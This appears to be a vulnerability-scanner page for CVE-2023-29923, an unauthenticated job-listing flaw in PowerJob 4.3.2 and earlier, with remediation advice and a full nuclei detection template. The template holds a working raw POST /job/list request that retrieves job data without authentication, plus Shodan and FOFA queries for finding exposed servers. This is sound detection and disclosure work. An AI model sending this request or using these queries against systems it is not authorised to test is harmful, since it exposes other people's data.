PowerJob <=4.3.2 - Unauthenticated Access

mediumseverity

5.3CVSS score

9.5%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

PowerJob V4.3.1 is vulnerable to Insecure Permissions. via the list job interface.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to sensitive information or perform malicious actions.

Fix

Upgrade PowerJob to a version higher than 4.3.2 or apply the necessary patches to fix the authentication bypass issue.

How to confirm it

Send: POST /job/list
Positive when: contains "{\"success\":true,\"data\":{\"index\":0,\"pageSize\":10," AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2023-29923 -u <target>

The full check

id: CVE-2023-29923

info:
  name: PowerJob <=4.3.2 - Unauthenticated Access
  author: For3stCo1d
  severity: medium
  description: |
    PowerJob V4.3.1 is vulnerable to Insecure Permissions. via the list job interface.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information or perform malicious actions.
  remediation: |
    Upgrade PowerJob to a version higher than 4.3.2 or apply the necessary patches to fix the authentication bypass issue.
  reference:
    - https://github.com/PowerJob/PowerJob/issues/587
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29923
    - https://github.com/KayCHENvip/vulnerability-poc
    - https://github.com/Le1a/CVE-2023-29923
    - https://github.com/Threekiii/Awesome-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-29923
    cwe-id: CWE-276
    epss-score: 0.09545
    epss-percentile: 0.95498
    cpe: cpe:2.3:a:powerjob:powerjob:4.3.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: powerjob
    product: powerjob
    shodan-query: http.html:"powerjob"
    fofa-query:
      - app="PowerJob"
      - app="powerjob"
      - body="powerjob"
  tags: cve2023,cve,powerjob,unauth,vuln

http:
  - raw:
      - |
        POST /job/list HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8

        {"appId":1,"index":0,"pageSize":10}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"success":true,"data":{"index":0,"pageSize":10,'

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from